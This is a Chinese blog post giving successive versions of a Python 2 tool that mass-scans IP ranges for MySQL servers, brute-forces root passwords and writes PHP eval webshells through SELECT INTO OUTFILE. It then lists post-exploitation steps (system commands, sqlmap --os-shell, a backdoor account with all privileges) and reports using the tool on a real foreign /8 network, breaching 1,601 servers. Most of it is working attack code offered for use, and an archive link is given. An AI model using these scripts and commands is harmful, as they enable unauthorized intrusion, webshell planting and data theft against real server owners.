自制python脚本,6小时获取上千台mysql数据库服务器

 

原文投稿在合天智汇的微信公众号:https://mp.weixin.qq.com/s/OuwL3O9rszdbRPg_6uLPGQ

但由于那里文章中的截图过于模糊,于是在这里再记录一下。

 

前言:

       一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。

 

一、起因

       这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。

 

原始脚本-1:

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

#coding=utf-8

#author:Blus

 

import MySQLdb

def mysql_connect1(ip,shell_url):

    #尝试数据库连接

    try:

        conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)

        cur=conn.cursor()

 

        #若数据库连接成功,开始写马

        try:

            sql_insert="SELECT '<?php @eval($_POST[cmd]); ?>'into outfile '{}';".format(shell_url)

            #print sql_insert;

 

            cur.execute(sql_insert)

            print "写入成功".decode()

        except Exception as e:

            print "写入错误"

            print e;

            return

        cur.close()

        conn.close()

 

    except MySQLdb.Error,e:

        print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])

        return

 

if __name__ == "__main__":

    fp_ip=open('ip.txt')

    shell_url = 'D:/1.PHP'

 

    for ip in fp_ip.readlines():

        fp4=ip.replace('\r',"").replace('\n',"")

        # url=str(fp5)

        print fp4

        mysql_connect1(ip,shell_url)

 

    print '检测结束'

---------------------------------------------------------------------------------------------------------------------------------

 

 

 

 

需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。

 

 

 

 

 

二、计划

这个python脚本来是为AWD比赛准备的,但后来一直没用上,最后一直躺在“武器库”里生锈。想着既然有些过时了,就让它重新发亮。(为了方便互相学习,之后的代码中会加入大量的注释)

                   

                         

计划对其做以下改进:

                                   1. 加快其速度,支持大批量扫描

                                   2. 增加自动爆破密码的功能

                                   3. 增加日志记录功能

                                   4. 代码规范简洁

 

 

 

 

 

三、引入多线程

升级第一步,那就是加快它的速度,单线程太慢了尝试多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pip install IPy 安装IPy库无报错。

 

主要更改了这几处:

 

 

以下是这次修改后的完整的代码-2:

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

#coding=utf-8

#author:Blus

 

import MySQLdb

import threading

import time

import IPy

 

def mysql_connect1(ip,shell_url,shell_content):

    #尝试数据库连接

    try:

        conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)

        cur=conn.cursor()

 

        # 若数据库连接成功,开始写马

        try:

 

            sql_insert = "SELECT '{}'into outfile '{}';".format(shell_content,shell_url)

            print sql_insert;

 

            cur.execute(sql_insert)

            print "写入成功".decode()

 

        except Exception as e:

            print "写入错误"

            print e;

            return

        cur.close()

        conn.close()

 

 

    except MySQLdb.Error,e:

        print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])

        return

 

if __name__ == "__main__":

    #内容设置

    shell_url='../../../../wamp64/www/erg2313231.php';

    shell_content='<?php @eval($_POST[cmd]); ?>'

    #设置同时运行的线程数

    threads=25

    #要检测的IP网段

    ip1 = IPy.IP('192.168.0.0/16')

 

 

    for ip in ip1:    

        ip=str(ip)

        while(threading.activeCount()>threads):

            time.sleep(1)

        threading.Thread(target=mysql_connect1, args=(ip, shell_url,shell_content)).start()

    print '检测结束'

---------------------------------------------------------------------------------------------------------------------------------

 

 

 

 

 

四、改善速度,增加ping函数

但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)

增加一个ping_ip函数,可参考http://blog.51cto.com/happylab/1742282

 

 

 

加上判断语句。若主机不存活,则退出

 

改好后再测试发现时间缩短一半。

 

 

以下是这次的完整代码-3:

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

#coding=utf-8

#author:Blus

 

import MySQLdb

import threading

import IPy

import  time

import subprocess

def mysql_connect1(ip,shell_url,shell_content):

 

    if not(ping_ip(ip)):

        #print ip,"down"

        return

 

    #尝试数据库连接

    try:

        conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)

        cur=conn.cursor()

 

        #若数据库连接成功,开始写马

        try:

            #如果有重名数据库则删除该数据库

            cur.execute('DROP database IF EXISTS `A123456`;')

            cur.execute('create database A123456;')

        except:

            print ip,"数据库创建错误"

            return

        cur.execute('use A123456;')

 

        try:

            cur.execute('CREATE TABLE A123456.B123456 (C123456 TEXT NOT NULL );')

            print ip,"表创建成功"

        except:

            print ip,"表创建失败"

            return

       

        try:

            shell_content2="INSERT INTO B123456 (C123456)VALUES ('{}');".format(shell_content)

            cur.execute(shell_content2)

            print ip,"一句话插入成功"

        except:

            print ip,"一句话插入失败"

            return

        #这里设置小马导出后的路径,该目录需要有写权限 且mysql没有开启 secure-file-priv

        try:

            sql_insert="SELECT C123456 from B123456 into outfile '{}';".format(shell_url)

            cur.execute(sql_insert)

            print ip,"写入成功".decode()

        except Exception as e:

            print ip,"写入错误",e

            return

 

        cur.close()

        conn.close()

        return

    except MySQLdb.Error,e:

        print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])

        return

 

def ping_ip(ip):

    # 调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活

 

    cmd = 'ping -w 1 %s' % ip

    p = subprocess.Popen(cmd,

                         stdin=subprocess.PIPE,

                         stdout=subprocess.PIPE,

                         stderr=subprocess.PIPE,

                         shell=True)

    result = p.stdout.read()

    regex = result.find('100%')

    # 未匹配到就是-1

    # 未匹配到就是存活主机

    if (regex == -1):

        return 1

    else:

        return 0

 

 

if __name__ == "__main__":

    start = time.time()

#内容设置

    shell_url='../../../../wamp64/www/erg2313231.php';

    shell_content='<?php ($_=@$_GET[2]).@$_($_POST[1323222222])?>'

 

    #设置同时运行的线程数

    threads=25

    

    #要检测的IP网段

    ip1 = IPy.IP('192.168.0.0/24')

 

    for ip in ip1:    

        ip=str(ip)

 

        while(threading.activeCount()>threads):

            time.sleep(1)

        t1=threading.Thread(target=mysql_connect1, args=(ip, shell_url,shell_content))

        t1.start()

 

    #当线程只剩1时,说明执行完了

    while(threading.activeCount()!=1):

        time.sleep(1)

    print "检测结束"

    end = time.time()

    print end - start

---------------------------------------------------------------------------------------------------------------------------------

 

 

 

五、日志记录

接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。

 

 更改了以下几处:

 

简单的日志记录函数:

 

记录日志的几种情况:

 

 

区分不同的报错信息:

 

 

以下是此次的完整代码-4:

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

#coding=utf-8

#author:Blus

import MySQLdb

import threading

import time

import IPy

import subprocess

 

def mysql_connect1(ip):

 

    if not(ping_ip(ip)):

        #print ip,"down"

        return

    else:

        #记录在线的ip

        ip_log("ip_up.txt",ip,"")

 

    #尝试数据库连接

    try:

        conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)

        cur=conn.cursor()

 

        #记录开放3306端口的ip

        ip_log("port_connected.txt", ip,"")

 

 

    except MySQLdb.Error,e:

        e = str(e)

        #记录报错信息

        print e

 

        r1 = e.find('Can\'t connect') #端口未开放 Mysql_Error: 2003: Can't connect to MySQL server on '35.164.6.48' (10060)

        r2 = e.find('Access denied')  # 端口开放但密码错误  Mysql_Error: 1045: Access denied for user 'root'@'localhost' (using password: YES)

        r3 = e.find('not allowed') #端口只允许特定ip连接  Mysql_Error: 1130: Host '172.17.14.2' is not allowed to connect to this MySQL server

        #r3 = e.find('Learn SQL!') #这限制特定了sql语句

 

 

        if (r1 != -1):

            #排除端口不开放的情况

            return

 

        elif(r2 != -1):

            #ip_log('port_opend.txt',ip, "密码错误")

            ip_log('port_opend.txt',ip, e)

 

        elif(r3 != -1):

            #ip_log('port_opend.txt', ip , "不允许该IP连接")

            ip_log('port_opend.txt', ip , e)

        else:

            #ip_log('port_opend.txt', ip, "其他错误")

            ip_log('port_opend.txt', ip, e)

 

        return

 

 

 

def ping_ip(ip):

    # 调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活

 

    cmd = 'ping -w 1 %s' % ip

    p = subprocess.Popen(cmd,

                         stdin=subprocess.PIPE,

                         stdout=subprocess.PIPE,

                         stderr=subprocess.PIPE,

                         shell=True)

 

    result = p.stdout.read()

    regex = result.find('100%')

 

    # 未匹配到就是-1,就是存活主机

    if (regex == -1):

        return 1

    else:

        return 0

 

 

def  ip_log(txt_name,ip,content):

    f1 = open(txt_name, 'a')

    f1.write(ip + " " + content + "\r\n")

    f1.close()

 

 

if __name__ == "__main__":

 

    start = time.time()

 

    #设置同时运行的线程数

    threads=150

    

    #要检测的IP网段

    ip1 = IPy.IP('192.168.0.0/16')

 

 

 

    for ip in ip1:    

        ip=str(ip)

        print ip

 

        while(threading.activeCount()>threads):

            time.sleep(1)

        t1=threading.Thread(target=mysql_connect1, args=(ip,))

        t1.start()

 

    #当线程只剩1时,说明执行完了

    while(threading.activeCount()!=1):

        time.sleep(5)

    print "检测结束"

---------------------------------------------------------------------------------------------------------------------------------

 

 

 

 

 

 

这里代码已经开始杂乱了,暂且放着。改完后测试扫描了米国某网段一个小时,发现现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线服务器。

 

 

开放端口的日志:

 

成功连接的日志:

 

六、字典爆破

当然,一个空密码连接不可能满足我们,再加上个弱口令爆破功能就更完美了。在mysql连接函数外套一个循环,循环读取txt中的每行密码进行尝试。

注意:在读取txt字典里每行的内容时记得去掉”\r”和“\n”这代表回车的符号,不然爆破密码时就带上了它们。

 

 

在过程中发现MySQLdb.connect的一个问题

 

 

理论上当运行该函数长时间未连接端口时会抛出错误,但在实际过程中,有时候不会抛出错误,程序一直阻塞。去查阅了mysqldb的文档,发现有个连接超时(connect_timeou)的参数选项(如下图),当连接超时时会抛弃该连接。但一测试马上发现这个参数形同虚设,根本没用!

 

 

无奈,只能手动给函数加上时间限制,考虑了以下两个方法。

 

方法一:使用signal.SIGALRM信号量,但SIGALRM只能在linux系统下使用

 

可参考:

https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python

 

方法二:使用多线程中的join()的超时参数,比如join(3)就是限制了子线程运行的时间为3秒。

 

在此我采用方法二:

 

 

但同时需要注意的是try...except是无法捕捉线程中的报错的,因为线程有独立的栈,线程产生的异常发生在不同的栈上,因此无法捕捉到线程的异常。即捕捉不到3306端口连接错误,就无法根据报错信息来分析端口的连接情况。但如果在线程内部使用try..except来捕捉报错的话,线程自身又不返回值,无法告诉主函数端口的连接情况,也就无法确定是否要进行密码爆破,或者什么时候密码爆破成功,这时候又该怎么办呢?

      查阅网上的资料,发现有利用类的变量来传递线程内的消息,也有使用 Queue 库创建队列实例来传递数据的。但总觉得有些“臃肿”,不太满意。思考着突然豁然开朗,可以在线程运行的函数内部判断端口的连接情况,然后用threading.Event()的标志设置与否,来传递结果,让主函数知道接下来该如何运行。设置了标志说明要进行下一步操作,未设置标志则return退出当前操作。

 

关于threading.Event()的基础知识可参考:

https://blog.csdn.net/u012067766/article/details/79734630

 

修改后的主函数:

 

这里就不放上完整的代码了,因为紧接着马上又改进了效率。

 

 

 

 

 

 

 

 

七、继续提高效率

反思:

在之前测试中,发现有好些的主机在线却ping不通,现在的服务器为了避免恶意的网络攻击,一会拒绝用户Ping服务器。而且调用系统命令行来ping主机是否存活这步骤也很消耗性能,无法设置较高的线程,只能维持在几百。

 

改进:

于是直接删去ping功能,直接调用mysql函数连接3306端口,通过设置join()的超时设置来判断端口是否开放。因为一般情况下,若mysql服务端口3306端口不开放,返回不能连接的错误需要6~8秒左右,但若该端口开放,1秒便能回应。因此设置join(3),若3秒内无回应,则默认端口关闭,销毁该线程。这样改进以后,线程能开到10000左右,效率翻倍提高,代码也更加简洁。

 

 

以下是此次的代码-5:

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

#coding=utf-8

#author:Blus

import MySQLdb

import threading

import time

import IPy

 

def MySQLdb_connect(ip,  mysql_password,event):

    event1=event

    try:

        event1.clear()

        MySQLdb.connect(ip, mysql_user, mysql_password, '' , 3306)

        event1.clear()

        print ip + ":" + mysql_password + "  connected"

        ip_log('port_connected.txt', ip, mysql_password)

 

    except Exception,e:

        e = str(e)

        #print e

        if (e.find('Access denied') != -1):

            # 端口开放,但密码错误,记录并继续下面的爆破代码

            event1.set() #设置爆破标志

            print ip + ":" + mysql_password + "  密码错误"

            #ip_log('port_opend.txt', ip, "密码错误")

            pass

        elif (e.find('many connections') != -1):

            # 连接过多,暂停1秒

            time.sleep(1)

            event1.set()

            pass

        elif (e.find('Can\'t connect') != -1):

            # 端口未开放,退出

            event1.clear()

        else:

            # 其他错误,记录并退出

            event1.clear()

            ip_log('port_opend.txt', ip, e)

        return

 

#爆破函数

def mysql_connect2(ip):

 

    # 先尝试空密码连接threading.Event()

    event1 = threading.Event()

    t2 = threading.Thread(target=MySQLdb_connect, args=(ip, '',event1))

    t2.start()

    t2.join(3) #3秒超时

 

    if not event1.isSet():

       #未设置标识则退出

        return

 

    ip_log('port_opend.txt', ip, "密码错误")

    # 开始爆破

    fp_mp = open('mysql_password.txt', 'r')

    for mysql_password in fp_mp.readlines():

        #event2 = threading.Event()

        mysql_password = mysql_password.replace('\r', "").replace('\n', "")

        t2 = threading.Thread(target=MySQLdb_connect, args=(ip, mysql_password, event1))

        t2.start()

        t2.join(5)  # 秒超时

        if not event1.isSet():

            # 未设置标识则退出,不然就继续爆破

            fp_mp.close()

            return

    fp_mp.close()

    return

 

def ip_log(txt_name,ip,content):

    f1 = open(txt_name, 'a')

    f1.write(ip + ":" + content + "\r\n")

    f1.close()

 

if __name__ == "__main__":

    mysql_user='root'

    #设置同时运行的线程数

    threads=10000

    ip1 = IPy.IP('127.0.0.1')

    for ip in ip1:    

        ip=str(ip)

        #print ip

        #限制线程数

        while (threading.activeCount() > threads):

            time.sleep(1)

        t1 = threading.Thread(target=mysql_connect2, args=(ip,))

        t1.start()

 

    #当线程只剩1时,说明执行完了

    while(threading.activeCount()!=1):

        time.sleep(1)

    print "检测结束"

---------------------------------------------------------------------------------------------------------------------------------

 

 

 

 

 

 

八、优化、修补

实际测试中发现了一些报错。

报错一:

 

 

 

当同时对大量在线的mysql服务器进行密码爆破时,同时不断的读取字典文件可能会报错。于是直接改成了将字典文件读进列表,以后的每次密码爆破都只是在遍历密码列表。另外有一个注意点,Linux是有文件句柄限制的(open files),一般最大数为1024。出现其他情况的“Too mant opeb file”报错,也可以用这个命令ulimit -n 102400,增大打开文件数来解决。

 

创建密码列表:

 

 

 

循环读取列表

 

 

为了防止意外发生写文件错误,也给它加了层“防护衣”:

 

报错信息二:

之前没有考虑这个问题,实际测试中也蛮多的,发生在网站状态不稳定的情况下。

 

没什么好说的,错误信息判断里面补上.在错误信息判断里面补上,网络不好就暂停一会儿。

 

 

 

 

 

以下是本次的完整代码-6:

---------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

#coding=utf-8

#author:Blus

 

import MySQLdb

import threading

import time

import IPy

 

def MySQLdb_connect(ip,  mysql_password,event):

    event1=event

    try:

        event1.clear()

        MySQLdb.connect(ip, mysql_user, mysql_password, '' , 3306)

        event1.clear()

        print ip + ":" + mysql_password + "  connected"

        ip_log('port_connected.txt', ip, mysql_password)

 

    except Exception,e:

        e = str(e)

        #print e

        if (e.find('Access denied') != -1):

            # 端口开放,但密码错误,记录并继续下面的爆破代码

            event1.set() #设置爆破标志

            #print ip + ":" + mysql_password + "  密码错误"

            #ip_log('port_opend.txt', ip, "密码错误")

            pass

        elif (e.find('many connections') != -1):

            # 连接过多,暂停1秒

            time.sleep(1)

            event1.set()

            pass

        elif (e.find('Can\'t connect') != -1):

            # 端口未开放,退出

            event1.clear()

        else:

            # 其他错误,记录并退出

            event1.clear()

            ip_log('port_opend.txt', ip, e)

        return

 

#爆破函数

def mysql_connect2(ip):

 

    # 先尝试空密码连接threading.Event()

    event1 = threading.Event()

    t2 = threading.Thread(target=MySQLdb_connect, args=(ip, '',event1))

    t2.start()

    t2.join(3) #3秒超时

 

    if not event1.isSet():

       #未设置标识则退出

        return

 

    ip_log('port_opend.txt', ip, "密码错误")

 

    # 开始爆破

    global list_password

    for mysql_password in list_password:

        mysql_password = mysql_password.replace('\r', "").replace('\n', "")

        t2 = threading.Thread(target=MySQLdb_connect, args=(ip, mysql_password, event1))

        t2.start()

        t2.join(5)  # 秒超时

        if not event1.isSet():

            # 未设置标识则退出,不然就继续爆破

            fp_mp.close()

            return

    return

 

def ip_log(txt_name,ip,content):

    try:

        f1 = open(txt_name, 'a')

        f1.write(ip + ":" + content + "\r\n")

        f1.close()

    except Exception, e:

        print str(e)

        pass

 

if __name__ == "__main__":

 

    #设置数据库用户名

    mysql_user='root'

 

    #设置同时运行的线程数

    threads=10000

 

    #指定IP网段

    ip1 = IPy.IP('192.168.50.1/32')

 

    #将密码字典读进列表

    list_password= []

    fp_mp = open('mysql_password.txt', 'r')

    for password in fp_mp.readlines():

        list_password.append(password)

 

 

    for ip in ip1:    

        ip=str(ip)

 

        #限制同时运行的线程数

        while (threading.activeCount() > threads):

            time.sleep(1)

 

        t1 = threading.Thread(target=mysql_connect2, args=(ip,))

        t1.start()

 

 

    while(threading.activeCount()!=1):

        # 当线程只剩1时,说明执行完了

        time.sleep(1)

    print "检测结束"

 

---------------------------------------------------------------------------------------------------------------------------------

 

 

 

 

 

九、获取数据库服务器权限

至此,MySql工具基本升级完成,本来还应该加上相关的自动攻击代码,但发现目前网上还存在大量弱口令连接的数据库服务器,而且数据库服务器重要的是数据,其数据比一台服务器的权限更宝贵。因此,在这就只是简单和大家探讨几种常见的Mysql攻击手段。

 

1.system函数调用系统命令

在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令。例如 system ifconfig或者 \! ifconfig。

当然不一定会开启这个函数,可以在mysql命令行下输入help,来查看是否存在system函数,若有则能使用该函数。

 

2. outfile写小马

只限于站库未分离的服务器,写在数据库的字段中写入小马内容,再利用outfile导出成一个小马,放置于web目录下。基本命令如下:

create database A123456666;

use A123456666;

CREATE TABLE A123456666.B123456 (C123456 TEXT NOT NULL );

INSERT INTO B123456 (C123456)VALUES ('111');

SELECT C123456 from B123456 into outfile '网站路径/shell.php';

drop database A123456666;

 

也可以简化为:

SELECT '<?php @eval($_POST[cmd]); ?>'  into outfile   '/var/www/html/shell.php';

 

3.另外还有udf、mof提权,以及msf、sqlmap自动工具之类的

举例:   sqlmap.py -d   "mysql://root:1234@192.168.1.1:3306/databasename"  --os-shell

 

 

  1. 哪怕无法获得整台服务器的权限,但只要能一直维持对数据库的访问也是极好的。

 服务器的数据库密码很可能会被更改,因此在获得数据库的密码后,立刻创建一个新账户还是比较重要的。可以紧接着执行如下命令:

 

CREATE USER 'big'@'%' IDENTIFIED BY '123456';   创建用户名为big,密码为123456的用户

GRANT ALL PRIVILEGES ON *.* TO 'big'@'%' IDENTIFIED BY '123456';  授权

flush privilege;   刷新权限

 

 

 

十、测试分析结果

 是骡是马得拉出来溜溜,选了个明媚的中文,开了主机运行脚本,每台一万个线程,跑了大半天米国的某 X.0.0.0/8网段。本不抱什么希望,最后结果却出人意料。

 共计255x255x255=16581375个IP,其中有44979个mysql服务器在线,其中4,776个只允许指定的ip连接,553个端口报错,37450个端口可正常连接。在可正常连接的37450端口中,爆破密码成功连接的有1601个,真可谓是“万里挑一”。

 

 

 

 

 

下面附上部分截图:

爆破成功的记录

 

 

 

 

测试中出现过的报错情况:

 

 

 

 

数据库截图,虽然是美国的网段,但发现也有其他国家地区部署的数据库,包括中国。

 

 

 

 

 

发现一些已经被黑客攻击的网站,数据库被删除,只留下WARNING-Readme。受害者只有向黑客支付比特币才能恢复数据。国内一般都是直接脱库、分类、汇总,然后卖数据。

 

勒索信息:

 

“Your Database is downloaded and backed up on our secured servers. To recover your lost data: Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome!.”

 

 

结语:

 

       可能有人会说,不就是个批量爆破工具吗。但我并不只是想分享一个工具,同时也是把这个脚本诞生的过程一步一步的展现出来,便于大家探讨学习。不只是单纯的用工具,更是要学会工具背后的原理及其意义。另外就是与大家分享一下安全现状,如果只是自己在扫,也不一定有耐心能扫出这么多带漏洞的服务器,我在扫的时候,有时候连扫几十个网段都不见得有一台mysql服务器。  这次扫描的X.0.0.0 - X.127.0.0网段只扫出来50台MySql服务器。而X.128.0.0 - X.255.0.0却有上万台。可能是因为很多云服务器厂家,包括大型企事业单位,他们服务器的ip都是“扎堆”在一起的吧。因此网段选得好,也能影响最后的结果。这需要“手气”,同时也需要耐心。在爆破密码的时候更需要一个精巧的字典,在精不在多,本人使用的字典只有5kb,但却包含了许多的高频弱口令。每年都会有TOP100的弱口令报告出来,要注意收集。国外的安全情况如此,国内的安全情况也不容乐观,我们储存在网上的个人信息和数据很容易就会被不法分子窃取。作为网络安全从业者的我们,应该积极响应国家号召,在自己的岗位上尽心尽力,遵守国家的法律。不去做危害计算机安全的事,哪怕是国外的服务器。每年都有入狱的“黑客”,望大家引以为戒。也希望能大家一起学习成长,谢谢。

 

上述所有脚本已打包:

https://pan.baidu.com/s/12skXEu2wLP0W_0LSYMZ0eQ  提取码:jy0h

压缩包密码是:blusblus

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值